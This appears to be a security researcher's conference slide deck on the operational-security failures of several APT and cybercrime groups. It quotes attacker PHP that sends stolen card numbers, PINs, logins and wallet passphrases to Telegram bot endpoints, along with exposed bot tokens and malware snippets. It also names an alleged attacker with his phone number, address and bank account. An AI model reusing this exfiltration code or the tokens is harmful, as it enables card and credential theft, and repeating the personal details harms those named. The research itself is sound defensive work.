The bad, the worst and the ugly of APT's operations security

Tomer Bar
Tomer Bar

Director of Security Research @ SafeBreach

- Main focus in APT and vulnerability research
- Presented at Black Hat, Defcon, Recon and Sector
Agenda

● Research assumptions

● OopsSec meter

● All over the globe - recent real world OopsSec threat actors
  a. State Sponsored APT Threat Actor
     ■ Bad Patch
  a. Large Scale Cyber Crime Threat Actors
     ■ Phishing as a service in Iran
     ■ Ukraine Logs
     ■ Ekmek Teknesi (Bread Boat)
     ■ Tunisian Credentials thief
  b. Iranian State Sponsored APT Threat Actors
     ■ Rampant kitten
     ■ PowerShortShell
     ■ Infy
     ■ Final demo

● Credits and Q&A
“Attack him where he is unprepared, appear where you are not expected.”

“If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle.”

— Sun Tzu, The Art of War
Research Assumptions

1. Attackers are humans and prone to mistakes. Advanced APT != Advanced OpSec

2. Threat actors won't necessarily fix OpSec holes even if they suffered from a past takedown or data leak.

3. We can learn new techniques, current targets, plans, damage control and additional valuable data.
## OopsSec Meter

<table>
<thead>
<tr>
<th>OopsSec Category</th>
<th>Partial</th>
<th>Moderate</th>
<th>Complete</th>
</tr>
</thead>
<tbody>
<tr>
<td>Victim’s HeatMap</td>
<td>Location 1</td>
<td>Industry 5</td>
<td>Identity 10</td>
</tr>
<tr>
<td>Attack Vectors mapping</td>
<td>1</td>
<td>5</td>
<td>10</td>
</tr>
<tr>
<td>Access C2 backend code</td>
<td>3</td>
<td>5</td>
<td>10</td>
</tr>
<tr>
<td>Achieve victims exfiltrated data</td>
<td>5</td>
<td>7</td>
<td>10</td>
</tr>
<tr>
<td>Attacker malicious techniques</td>
<td>5</td>
<td>7</td>
<td>10</td>
</tr>
<tr>
<td>Built-in sinkhole capabilities</td>
<td>6</td>
<td>8</td>
<td>10</td>
</tr>
<tr>
<td>Attackers communication channels</td>
<td>7</td>
<td>8</td>
<td>10</td>
</tr>
<tr>
<td>Attribution - identity</td>
<td>Origin 3</td>
<td>Partial - 7</td>
<td>Identity - 10</td>
</tr>
<tr>
<td>Disinformation attack</td>
<td>5</td>
<td>7</td>
<td>10</td>
</tr>
<tr>
<td>Take-Down</td>
<td>Temporary - 5</td>
<td>Partial - 8</td>
<td>Complete - 10</td>
</tr>
</tbody>
</table>

100 bad points
Bad Patch - Palestinian Threat Actor

- Android and Windows state-sponsored **long term** targeted campaign, active since 2012.

**Age of Campaign**

The oldest sample we observed has a compile date of 12 June 2012. The C2 server linked to that sample, pal2me.l.jnet, was also first registered on the same date. This campaign has been running for at least more than five years, and continues to this date.
Bad Patch - Palestinian Threat Actor

- Disclosed by Palo Alto Networks at 2017.
- **Bad Authentication process** - Navigate directly to inner pages without authentication
- Navigating directly to “/lms/index.php” not redirecting to the user to login.php, but instead granted authenticated access to the system - keylogger exfiltration screen

Records Management System and Victims

The threat actors have developed their own, custom system to manage the data exfiltrated by their victims, "نظام إدارة السجلات" ("Records Management System"). Server logon requires 2-Factor authentication (2FA).

![Figure 7: RMS SMS 2FA](image)
Bad Patch - Palestinian Threat Actor

- 2022 Android Malware - masquerading as Google play ssl app
- Certificate locality and upload origin to Virustotal is from Gaza
Bad Patch - Palestinian Threat Actor

- 2022 Android Malware - Plenty of collection capabilities
- Exfiltrates victim data to a C2 server using POST - systembackups.info
Bad Patch - Palestinian Threat Actor

- **Handling of PHP errors** - sending HTTP GET request to /api/v6/data.
- **Expecting** a POST request, it will print the DB name, user name and **password**!!!
Bad Patch - Palestinian Threat Actor

- **Handling of PHP errors** - all c2 servers are vulnerable
Bad Patch - Palestinian Threat Actor

- Still bad in 2022 - **All victim's exfiltrated data is open**

2017 - Malware down and execute code

2022

---

**Index of /ccc**

<table>
<thead>
<tr>
<th>Name</th>
<th>Last Modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parent Directory</td>
<td>2017-08-30 16:18</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>css/</td>
<td>2022-02-07 17:36</td>
<td>26</td>
<td></td>
</tr>
<tr>
<td>notes.txt</td>
<td>2022-02-13 14:02</td>
<td>597M</td>
<td></td>
</tr>
<tr>
<td>users.2022_02_13_14</td>
<td>2022-02-13 14:02</td>
<td>597M</td>
<td></td>
</tr>
<tr>
<td>users.2022_02_13_22</td>
<td>2022-02-13 22:04</td>
<td>832M</td>
<td></td>
</tr>
<tr>
<td>users.2022_02_14_04</td>
<td>2022-02-14 04:02</td>
<td>409M</td>
<td></td>
</tr>
<tr>
<td>users.2022_02_14_14</td>
<td>2022-02-14 14:01</td>
<td>599M</td>
<td></td>
</tr>
<tr>
<td>users.2022_02_14_22</td>
<td>2022-02-14 22:02</td>
<td>594M</td>
<td></td>
</tr>
<tr>
<td>users.2022_02_15_04</td>
<td>2022-02-15 04:03</td>
<td>414M</td>
<td></td>
</tr>
<tr>
<td>users.2022_02_15_14</td>
<td>2022-02-15 14:01</td>
<td>362M</td>
<td></td>
</tr>
<tr>
<td>users.2022_02_15_22</td>
<td>2022-02-15 22:02</td>
<td>602M</td>
<td></td>
</tr>
<tr>
<td>users.2022_02_16_04</td>
<td>2022-02-16 04:00</td>
<td>248M</td>
<td></td>
</tr>
</tbody>
</table>
Bad Patch - Palestinian Threat Actor

- All ~7800 Android Victim’s sensitive exfiltrated data is open and downloadable
- Including in and out calls recording, microphone hijack, Android WeChat, CV files, images
- **50 GB compressed** 470M compressed average per day.
**Bad Patch - Palestinian Threat Actor**

- **C2 Open dir** - [https://trackmobi.live/](https://trackmobi.live/)

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>artisan</td>
<td>2020-10-30 08:07</td>
<td>1.6K</td>
<td></td>
</tr>
<tr>
<td>composer.json</td>
<td>2020-10-30 08:07</td>
<td>1.6K</td>
<td></td>
</tr>
<tr>
<td>package.json</td>
<td>2020-10-30 08:07</td>
<td>944</td>
<td></td>
</tr>
<tr>
<td>phpunit.xml</td>
<td>2020-10-30 08:07</td>
<td>1.2K</td>
<td></td>
</tr>
<tr>
<td>public/</td>
<td>2020-10-30 08:07</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>server.php</td>
<td>2020-10-30 08:07</td>
<td>563</td>
<td></td>
</tr>
<tr>
<td>webpack.mix.js</td>
<td>2020-10-30 08:07</td>
<td>559</td>
<td></td>
</tr>
<tr>
<td>app/</td>
<td>2022-02-01 22:57</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>database/</td>
<td>2022-02-01 22:57</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>resources/</td>
<td>2022-02-01 22:57</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>storage/</td>
<td>2022-02-01 22:57</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>composer.lock</td>
<td>2022-02-01 22:57</td>
<td>280K</td>
<td></td>
</tr>
<tr>
<td>vendor/</td>
<td>2022-02-01 22:58</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>cgi-bin/</td>
<td>2022-02-07 19:43</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>Matayer-Mimic/</td>
<td>2022-02-22 10:11</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>tests/</td>
<td>2022-02-24 02:33</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>routes/</td>
<td>2022-02-24 02:33</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>config/</td>
<td>2022-02-24 02:33</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>bootstrap/</td>
<td>2022-02-25 11:38</td>
<td>-</td>
<td></td>
</tr>
</tbody>
</table>
Bad Patch - Palestinian Threat Actor

- Still bad in 2022 - **Full backend (server side) in a zip file** - available from C2 - also in VT
Bad Patch - Palestinian Threat Actor

- **Nodejs - reveal uploads path**
- **UploadFile - good** - saved file name will have uniqid, check valid extension (only csv)

```php
// Set Destination File & Path
$destinationFile = $filename . '_' . uniqid() . '_' . $extension;
$destinationFilePath = $destinationPath . DIRECTORY_SEPARATOR . $destinationFile;

// Upload File
$request->file('file')->move($destinationPath, $destinationFilePath);

// Valid File Extensions
$valid_extension = array("csv");
if (in_array(strtolower($extension), $valid_extension)) {

```
# OopsSec Meter - BadPatch - 47/100

<table>
<thead>
<tr>
<th>OopsSec Category</th>
<th>Partial</th>
<th>Moderate</th>
<th>Complete</th>
</tr>
</thead>
<tbody>
<tr>
<td>Victim's HeatMap</td>
<td></td>
<td></td>
<td>Identity 10</td>
</tr>
<tr>
<td>Attack Vectors mapping</td>
<td></td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>Access C2 backend code</td>
<td></td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>Achieve victims exfiltrated data</td>
<td></td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>Attacker malicious techniques</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Built-in sinkhole capabilities</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Attackers communication channels</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Attribution - identity</td>
<td>Partial - 7</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Disinformation attack</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Take-Down</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
SMSspy Threat Actor

Infection chain - 5 steps process

Step 1: Finding victims
Step 2: Send SMS
Step 3: Phishing SMS
Step 4: Fake electronic notification system site
Step 5: Fake APK

Credit card phishing

Get commands

Firebase C&C
SMSspy Threat Actor

- Full backend (server side) in a zip file - [https://adl-iiran.ga/pay.zip](https://adl-iiran.ga/pay.zip)
### SMSspy Threat Actor

#### STEP1 - searching for victims (phones)

- The left script extracts phone numbers from published ads on Divar.ir.
- The script on the right will send them a threat/phishing text message via Telegram.
SMSspy Threat Actor

**STEP1 - Victims**

- **Full Victim list is textual and downloadable**
  - phone are available in users.lst file

- **C2 server Internal files are exposed**
  - bash history command is available for download
STEP2 - SMiShing - Examples

Dear user, a complaint has been issued against you with the tracking code 8979001267 in the notification / sana system. In order to prevent the coronavirus and not going to the official branches, you can follow up the complaint through the electronic judicial notification application.

Note: The deadline for following up the notification is 72 hours.
SMSspy Threat Actor

**STEP 3 - Install Fake Android Payment App**

- Download an Android payment app malware
  This is a dual attack - spy on SMS to get 2fa codes and also phish for the victim’s credit card
SMSspy Threat Actor

**STEP 4 - SMS Theft**

- Android malware decompiled

```java
File file2 = Common.File;
this._lydialistlink = File.ReadList(File.getDirAssets(), "link.txt");
this._lydialistport = new List();
```

```
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Packed Size</th>
<th>Modified</th>
</tr>
</thead>
<tbody>
<tr>
<td>lydiapv</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>lydiateam</td>
<td>0</td>
<td>0</td>
<td></td>
</tr>
<tr>
<td>gatewayport.txt</td>
<td>4</td>
<td>4</td>
<td>2008-02-29 06:03</td>
</tr>
<tr>
<td>link.txt</td>
<td>46</td>
<td>46</td>
<td>2008-02-29 06:03</td>
</tr>
<tr>
<td>lydiateam.bal</td>
<td>1247</td>
<td>674</td>
<td>2008-02-29 06:03</td>
</tr>
</tbody>
</table>
```

```
File file4 = Common.File;
this._lydialistport = File.ReadList(File.getDirAssets(), "gatewayport.txt");
```
STEP 4 - SMS Theft

- The PHP page uploads the victim's SMS messages to a C2 server using a hardcoded text file name.

- **Exfiltrated SMSs are textual, predictable and downloadable**

```php
<?php
$token = "5134949401:AAE8PldCCdbXL-Rdjz4D0u4BwpiyDyw";
$id = "-1001574570310";
CURLOPT_URL => 'https://api.telegram.org/bot'.$token.'/sendDocument?chat_id='. $id,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => array('document' => new CURLFILE('LydiaTeam.txt','caption' => "

<a href="#" target="_blank" download="sana-opieblw.xyz/amos/LydiaTeam.txt">🔗 sana-opieblw.xyz/amos/LydiaTeam.txt</a>

*text: dear user, a complaint against you was registered and issued on 11/11/1400 with the tracking code 30000151211*
To follow up the complaint through the site: https://eblaghe-bn.ga
Status: Sent
```
SMSspy Threat Actor

**STEP5 - Credit Card theft**

- Fake payment site
- Legit site

![Image of a web page for internet payment](https://bpm.shaparak.ir/pgwchannel/pay.mellat?RefId=66CF529D55E28FA1)

Internet payment to pay the nation

- Acceptor information
- Remaining time: 08:42
- Card Information
  - Card number
  - Second Identification Number (CVV2)
  - Card expiration date
  - Security code
- Internet card password
- The amount payable: 20,000
SMSspy Threat Actor

**STEP5 - Credit Card Theft**

- credit card details and user credentials are collected and sent to the attacker’s telegram channel

```php
if(true){
$Msg = "<b>$type</b> @NEW Card recived</b>
Card: <code>$pan</code>
Pass: <code>$pin</code>
Cvv2: <code>$cvv2</code>
Date: <code>$year/$month</code>
@Type : $otp
IP : $ip

@file_get_contents("https://api.telegram.org/bot$token/sendMessage?chat_id=$usridsparse_mode-html&text=".urlencode($msg));
```
STEP5 - Credit Card Theft

- user credentials are collected and sent to the attacker’s telegram channel

```php
<?php
    $token = "2133137749"; //token
    $chat_id = "19699525";

    if (isset($_POST["user"])) {
        if (isset($_POST["pass"])) {
            $u = $_POST["user"];
            $p = $_POST["pass"];
            $ip = $_SERVER["REMOTE_ADDR"];

            $data = [
                'text' => "نام: $u 
 شماره: $p 
 ip: $ip",
                'chat_id' => $chat_id
            ];

            file_get_contents("https://api.telegram.org/bot$token/sendMessage?" . http_build_query($data));
        }
    }

    header("Location: mellat/index.php"); //پیشگیری از تکرار
```
SMSspy Threat Actor

**Telegram Group**

- Exposed exfiltrated data in open Telegram group with valid invite links
  
  [https://api.telegram.org/bot5134494401:AAE8P1dCCdbXL-Rdjt4D0UaBRWpintyDyw/getupdates?chat_id=-1001574570310](https://api.telegram.org/bot5134494401:AAE8P1dCCdbXL-Rdjt4D0UaBRWpintyDyw/getupdates?chat_id=-1001574570310)
Hacker’s Identity

- The data Telegram group is misconfigured to display all group members/hackers without even joining the group.
The SMS and Data group are not private, all_members_are_administrators everybody is welcome to join …

But without access to messages …
I joined with my **real name** to both groups :)

But there was no access to messages by new members...
The Card group is not private, all data is accessible via the Bot API function - `getUpdates`
SMSspy Threat Actor - Attribution

- “So...Good” - seems like the main group
The **group allows access to all messages without being required to join first**

Hundreds of credit cards are listed
SMSspy Threat Actor - C2 infrastructure

Hundreds of malware samples and c2 servers infrastructure
Those Telegram groups are just the tip of the iceberg
LydiaTeam - active in the Professor phishing Telegram group with 15k members

Model: SM-A325F
MobileNumber: 989030688259
Id-M: Mobile: 8356ccd981469fa9
PoRt: @Sol_sol0
ip: 31.2.192.147
#CODeBy: @LydiaTeam
SMSspy Threat Actor - C2 infrastructure

- Searching for “newCard recived” (intentional typo) in Google, returned with Zalm_phishing Group - stolen card data
SMSspy Threat Actor - C2 Attribution

- Baba_zorro - owner of Zalem phishing Telegram group with **30k members**
SMSspy Threat Actor - Android malware

**SMSspy Android Malware**

- Lets decompile the malware

Index of /

<table>
<thead>
<tr>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>bargh/</td>
<td>2021-12-31 04:12</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>ir.apk</td>
<td>2022-01-02 13:38</td>
<td>1.9M</td>
<td></td>
</tr>
<tr>
<td>ir/</td>
<td>2021-12-30 09:19</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>lr.apk</td>
<td>2022-01-02 04:04</td>
<td>1.7M</td>
<td></td>
</tr>
<tr>
<td>sighe.apk</td>
<td>2021-12-31 17:32</td>
<td>2.0M</td>
<td></td>
</tr>
<tr>
<td>sighe/</td>
<td>2022-01-01 01:20</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>tel/</td>
<td>2022-01-03 02:35</td>
<td>-</td>
<td></td>
</tr>
</tbody>
</table>
The exfiltrated SMS messages were uploaded to c2 server.

The randomization was done on the malware side! No victim’s unique data were used.

http://<c2 domain>/uploads/<rand 11111-99999.txt>

```java
_vvvv5 = C0224BA.NumberToString(Common.Rnd(11111, 99999));

StringBuilder append3 = new StringBuilder().append("allmessage=").append(_vvvv1).append("/").
.append(C0224BA.ObjectToString(ReadList.Get(0))).append("/uploads/").append(_vvvv5).append(".txt&id=");
```
SMSspy Threat Actor - C2 server

- Android C2 server - developed in python based on fire_base api and Telegram bot api
SMSspy Threat Actor - Attribution

- One of the attackers is “Amin Ranjbar”
- One of the SMSs is from the hosting provider’s, confirming his newly registered domain: sana-Iran.xyz
“Amin Mohammad Ranjbar” - National Bank of Iran - account number, phone numbers and full address.

Text: From now on, SMS transactions of account number 0353309608005 belonging to Amin Mohammad Ranjbar National Bank of Iran.

- Name: Amin
  Last name: Ranjbar
  Mobile: 09125659885
  Night code:
  Address: No. 208, 3351687663, Jabbari Real Estate, Tabatabai St., Shahriar Abbas Abad, Tehran
SMSspy Threat Actor - Attribution

- “Amin Mohammad Ranjbar” published services

Professional Hackers - Iran Tehran - 85182891

Hello. I am Amin Mohammad Ranjbar. My job is programming, site builder, hacker and graphic designer. And my name is @hackerapp85 to get acquainted with hacking and security, and you are responsible for any work, so be careful, this is my ID in the telegram @aminmohamadranjbar

Requirements

This is the phone number for calling
09125659885

- Name: Amin
- Last name: Ranjbar
- Mobile: 09125659885

Responsibilities
SMSspy Threat Actor - business model

- Phishing As A Service
  
  It appears that Lydia Team is selling and promoting their services.

---

This project is not a short-term project and can be published in 3 sections:

- Level 1
  - Purchase charge / build port without rat / get Level 2 number

- Level 2
  - Purchase charge / build port with rat + remote / get wall number and Level 3 horn

- Level 3
  - Buy charge / build Port with root + remote + push notification / getting the number from the wall and..

I repeat, this is not a short-term project and it will be supported! I can say that the programs you use to get dynamic are outdated.
SMSspy Threat Actor - business model

- Offers 60 phishing theme options

![Phishing Theme Table](image)

**Phish Theme** | **Original mirrored site**
--- | ---
1. GIG | https://melat-shaparak.cf/pay/6876/gg.php
2. BlueTik | https://ssh-shaparak-ir.tk/21AGNh/v/instagram.html
5. ChargePay | media-tarand-page.tk
6. Donation | media-tarand-page.tk/Fullservices/Donation/Manage.php
7. Dostvab | www.minatavakoli.ir
8. LiveSexy | iran-paylo.info/livesexy
9. Masaj | russianmasse.ca
11. Follower | https://www.ifollower.com/
14. Hanie | https://iranb.gq/hanie/?e=4808641#
15. Hedye | https://sazman-home.in/Net-Shop-17/sq91/
17. InstaHack | https://payas.000webhostapp.com/createdhackinsta/947701678/
18. Internet | https://sazman-home.in/Net-Shop-17/sq91/
19. Location | https://asanic-pay.on.cf/maked/K1BC/1W/nakanb.html
27. snapp | https://lab-cet5.ir/snapp/?id=1209
28. T-Member | https://ssh-shaparak-ir.tk/21AGNh/tmember.html
29. TeleHack | https://payas.000webhostapp.com/created/hacktel/547701678/
31. vpn | https://ssh-shaparak-ir.tk/21AGNh/vpn.html
32. xChat | https://ssh-shaparak-ir.tk/21AGNh/chat.html
33. Yaranah | https://irans.cloud/id/231133/yaranah.html

!! Hack Instagram with number

Enter the target number to receive the page password in 1 minute

**Number**

Pay and start hacking

Due to heavy costs, a fee of 2000 Tomans will be received
In exchange for our services, including the design of this system and the replacement of filtered domains per day and 24-hour support for you, in this robot, a specific algorithm has been designed that completely randomly and randomly from every 5 of your targets, send us a direct target card information. It means that out of every 5 hacked cards you accidentally get a commission card of this system.

For more information on creating and registering an account, please see the complete robot.
<table>
<thead>
<tr>
<th>OpsSec Category</th>
<th>Partial</th>
<th>Moderate</th>
<th>Complete</th>
</tr>
</thead>
<tbody>
<tr>
<td>Victim's HeatMap</td>
<td></td>
<td></td>
<td>10</td>
</tr>
<tr>
<td>Attack Vectors mapping</td>
<td></td>
<td></td>
<td>10</td>
</tr>
<tr>
<td>Access C2 backend code</td>
<td></td>
<td></td>
<td>10</td>
</tr>
<tr>
<td>Achieve victims exfiltrated data</td>
<td></td>
<td></td>
<td>10</td>
</tr>
<tr>
<td>Attacker malicious techniques</td>
<td></td>
<td></td>
<td>10</td>
</tr>
<tr>
<td>Built-in sinkhole capabilities</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Attackers communication channels</td>
<td></td>
<td></td>
<td>10</td>
</tr>
<tr>
<td>Attribution - identity</td>
<td></td>
<td></td>
<td>5</td>
</tr>
<tr>
<td>Disinformation attack</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Take-Down</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Telegram BOT API

Cyber Gangs using Telegram for exfiltration - is it common?
### Telegram BOT API

- VT GRAPH query on api.telegram.org

<table>
<thead>
<tr>
<th>Basic Properties</th>
<th>api.telegram.org</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
<td>api.telegram.org</td>
</tr>
<tr>
<td>Creation date</td>
<td>2003-12-15 14:48:05</td>
</tr>
<tr>
<td>Last update</td>
<td>2021-12-16 13:59:40</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Relations</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Communicating files</td>
<td>34654</td>
</tr>
<tr>
<td>Downloaded files</td>
<td>197</td>
</tr>
<tr>
<td>Referrer files</td>
<td>200</td>
</tr>
<tr>
<td>Resolutions</td>
<td>200</td>
</tr>
<tr>
<td>Siblings</td>
<td>99</td>
</tr>
<tr>
<td>Urls</td>
<td>179</td>
</tr>
</tbody>
</table>

Expand using new intelligence search
The second type - C2 servers

- Telegram BOT API - C2 servers
UkraineLogs Threat Actor

https://api.telegram.org/bot5087921359:AAE4KuwaJHqqM5Kvcll1VReHR310VnQY/sendMessage?chat_id=-1001526195063&text=New%20PC%20loaded:%20WALKER%20Launched%20from:%20C:\Users\WALKER\unpack\Setup%20Windows%207%20Enterprise%20AU%20Enterprise%20AU%20ID:%20fs.

Please, introduce 3 or more characters to perform a search in the graph.

Basic Properties

First Seen 2022-01-25 22:27:08
Last Seen 2022-01-25 22:27:08
UkraineLogs Threat Actor

● “Old style unpacking”
UkraineLogs Threat Actor

- This info stealer implements interesting checks

Windows Defender
- Anti emulation

Language checks

Expiration checks

```
int cis_check() {
    unsigned int UserDefaultLangID; // [esp+HN] [ebp-8h]
    int result; // [esp+4h] [ebp-4h]
    result = 1;
    UserDefaultLangID = GetUserDefaultLangID();
    if (UserDefaultLangID > 1007) { // Kazakhstan kk-KZ
        if (UserDefaultLangID == 0x4d7) // Uzbekistan uzb-Lat-US
            return 0;
        else if (UserDefaultLangID == 0x2a0) // Azerbaijan az-Cyrl-AZ
            return 0;
    }
    else { // Language checks
        switch (UserDefaultLangID) {
        case 0x4a3f:
            return 0; // Kazakhstan kk-KZ
        case 0x4a22:
            return 0; // Russia ru-RU
        case 0x4a33:
            return 0; // Belarus ru-BY
        }
    }
    return result;
}
```
UkraineLogs Threat Actor

- Current (May 2022) Mars Stealer C2 server is: tea.arpdabl.org

```
aXc02dro5gzst8d  db 'XC02DRO5GZST8DD', 0
unk_43EFF0       db 2Ch ; ,
                  db 26h ; &
                  db 51h ; Q
                  db 1Ch
                  db 25h ; %
                  db 20h
                  db 3Fh ; ?
                  db 51h ; Q
                  db 26h ; &
                  db 38h ; 8
                  db 3Fh ; ?
                  db 7Ah ; z
                  db 57h ; W
                  db 36h ; 6
                  db 23h ; #
                  db 0
```

C:\playground>python deobf.py --obf XC02DRO5GZST8DD --key 2C 26 51 1C 25 20 3F 51 26 38 3F 7A 57 36 23

[+]
The deobfuscated string is: tea.arpdabl.org
UkraineLogs Threat Actor

- Additional info stealer loader decompiled code
- Exfiltrated data and screen captures to the Telegram group with an exposed API key
UkraineLogs Threat Actor - Infection

- Go-Lang Malware - Cookie stealer large scale infection of victims via youtube links.
- The info-stealer steals browser cookies and OAuth tokens
- Use the cookie to publish comments on Youtube with a link to the second stage info-stealer

```
SELECT name, encrypted_value, host_key, path FROM cookiesj
```
UkraineLogs Threat Actor - Infection

- GoLang Malware - a reversing nightmare, but there are tools which help a lot

Export table

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>TlsCallback_0</td>
<td></td>
</tr>
<tr>
<td>TlsCallback_1</td>
<td></td>
</tr>
<tr>
<td>TlsCallback_2</td>
<td></td>
</tr>
<tr>
<td>_cgo_dummy_export</td>
<td></td>
</tr>
<tr>
<td>authorizerTrampoline</td>
<td></td>
</tr>
<tr>
<td>callbackTrampoline</td>
<td></td>
</tr>
<tr>
<td>commitHookTrampoline</td>
<td></td>
</tr>
<tr>
<td>compareTrampoline</td>
<td></td>
</tr>
<tr>
<td>doneTrampoline</td>
<td></td>
</tr>
<tr>
<td>preUpdateHookTrampoline</td>
<td></td>
</tr>
<tr>
<td>rollbackHookTrampoline</td>
<td></td>
</tr>
<tr>
<td>start</td>
<td></td>
</tr>
<tr>
<td>stepTrampoline</td>
<td></td>
</tr>
<tr>
<td>updateHookTrampoline</td>
<td></td>
</tr>
</tbody>
</table>

**IDAGolangHelper**

Set of IDA Pro scripts for parsing GoLang types information stored in compiled binary

- sub_ Line 8299 of 8301
- sub_ Line 6450 of 6452

Caching 'Functions window'... ok
Creating structure string
Creating structure slice
Creating structure __iface
Creating structure type
Creating structure arrayType
Creating structure chanType
Creating structure ptrType
UkraineLogs Threat Actor - Infection

Encrypted with passwords 0909 or 1010 to execute it.

- http://bit.[.]do/fSoHd - since at least 2018

site:youtube.com "PASS: 0909"

About 20,100 results (0.41 seconds)

COD WARZONE UNLOCK ALL TOOL - YouTube

Tutorial: 1. Download...
UkraineLogs Threat Actor - Infection

- Additional crypto-app-related and video-sharing sites: coinmarketbag.com, allcryptoguide.com, VideoUrl.de, cyberbump.net, psdland.net ...
UkraineLogs Threat Actor - Telegram

- Got an invite link using the Telegram API getChat
- We joined the attacker Telegram group
- 9 members - 8 attackers and the Telegram bot
UkraineLogs Threat Actor - Telegram

- Third info-stealer - RedLine since October 2021

Malware side:
RedLine Info-Stealer Configuration

C2 Server side:
Loader Exfiltration

RedLine Exfiltration
● Self-developed python tool to download all victim’s screenshots in real-time
UkraineLogs Threat Actor - Telegram

- Stolen wallets examples including NFT:
UkraineLogs Threat Actor - Telegram

- Hundreds of wallets were exfiltrated. Victim’s top balances
- The attackers get the Metamask Mnemonic (12-word passphrase) and wallet’s password
UkraineLogs Threat Actor - Telegram

- 23,000 victims in 180 countries - 27% of victims in US
- **CDD** - Cookie Domain Detector - The type of stolen data
UkraineLogs Threat Actor - Attribution

- Configuration of files, cryptocurrency wallets exfiltration, and a PCAP of exfiltration to Russian-located C2 servers: 185.128.107.100, 185.231.70.207, and 45.95.202.175
The CDD and PDD exfiltrated data was first written in Russian and then changed to English.

16,000/35,000 messages from Russia.
UkraineLogs Threat Actor - Attribution

- The first 8,000 “victims” are actually testing the redline stealer, made by the attacker by infecting their own C2 server
- **IP: 185.255.133.25**, Build name: **onyxx**
UkraineLogs Threat Actor - Attribution

- 6 Administrators - onyxx0 and p2Memory
UkraineLogs Threat Actor - Attribution

- onyxx0 and p2Memory
UkraineLogs Threat Actor - Temporarily Take Down

**Take Down**

- The bot is administrator
- Sinkhole - by using setWebHook

Finally we removed the Bot from the group, causing a temporary Denial Of Service
<table>
<thead>
<tr>
<th>OopsSec Category</th>
<th>Partial</th>
<th>Moderate</th>
<th>Complete</th>
</tr>
</thead>
<tbody>
<tr>
<td>Victim’s HeatMap</td>
<td></td>
<td></td>
<td>Identity 10</td>
</tr>
<tr>
<td>Attack Vectors mapping</td>
<td></td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>Access C2 backend code</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Achieve victims exfiltrated data</td>
<td></td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>Attacker malicious techniques</td>
<td></td>
<td>7</td>
<td></td>
</tr>
<tr>
<td>Built-in sinkhole capabilities</td>
<td>6</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Attackers communication channels</td>
<td></td>
<td>10</td>
<td></td>
</tr>
<tr>
<td>Attribution - identity</td>
<td></td>
<td>Partial - 7</td>
<td></td>
</tr>
<tr>
<td>Disinformation attack</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Take-Down</td>
<td>Temporary - 5</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- Crypto wallet passphrase phishing
- Saved to web server and local C2 server file: test.txt

```php
$message = "Ronin\n".base64_decode($mnemonic)
$url = "https://api.telegram.org/bot1811375463:AAEY_eGXhH66wc73Zzt4K49JX0mggrpxkDA"
chat_id=-1001176672880
parse_mode=HTML
text="$.urlencode($message)
file_put_contents(public_path("test.txt"), $mnemonic."\n", FILE_APPEND)
```
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- The local test.txt file content
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- **Google Ads** - Print screens shared between attackers
  - Google search of “polygon” (web wallet)
  - Sample Google ad for phishing C2 server owned by the threat actor
They also target victims via social networks like Twitter using Twitter Ads.
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

- I joined via the Invite link, but was kicked-out
- The chat info also includes a Ronin wallet address and passphrase
- The attacker later removed the address and updated the passphrase
Ekmek Teknesi (Bread Boat) - Turkish Threat Actor

